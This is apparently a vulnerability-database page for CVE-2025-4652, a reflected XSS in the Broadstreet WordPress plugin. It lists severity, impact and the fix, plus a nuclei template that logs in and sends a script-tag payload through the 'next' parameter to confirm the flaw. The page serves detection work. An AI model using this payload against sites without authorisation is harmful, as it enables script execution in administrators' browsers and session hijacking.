HexBrain

Browse / CVEs / CVE-2025-4652

CVE-2025-4652· broadstreetads / broadstreet· CWE-79

Broadstreet WordPress plugin - Reflected XSS

mediumseverity
6.1CVSS score
0.5%likelihood of exploitation, next 30 days
45%of all CVEs are less likely
Readycheck to confirm it

Broadstreet WordPress plugin < 1.51.8 contains a reflected XSS caused by unsanitised and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires victim interaction.

Impact

Attackers can execute scripts in admin users' browsers, potentially leading to session hijacking or privilege abuse.

Fix

Update to version 1.51.8 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-content/plugins/broadstreet/Broadstreet/Vendor/broadstreet-partner/index.php?action=register&id=123&next="/><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>","broadstreet")

Run it with nuclei: nuclei -id CVE-2025-4652 -u <target>

The full check
id: CVE-2025-4652

info:
  name: Broadstreet WordPress plugin - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    Broadstreet WordPress plugin < 1.51.8 contains a reflected XSS caused by unsanitised and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires victim interaction.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to session hijacking or privilege abuse.
  remediation: |
    Update to version 1.51.8 or later.
  reference:
    - https://wpscan.com/vulnerability/2a18ab96-ba95-4599-824f-df12e4851e6d/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-4652
    cwe-id: CWE-79
    epss-score: 0.0052
    epss-percentile: 0.44527
    cpe: cpe:2.3:a:broadstreetads:broadstreet:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: broadstreetads
    product: broadstreet
  tags: cve,cve2025,broadstreetads,broadstreet,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/broadstreet/Broadstreet/Vendor/broadstreet-partner/index.php?action=register&id=123&next="/><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>","broadstreet")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from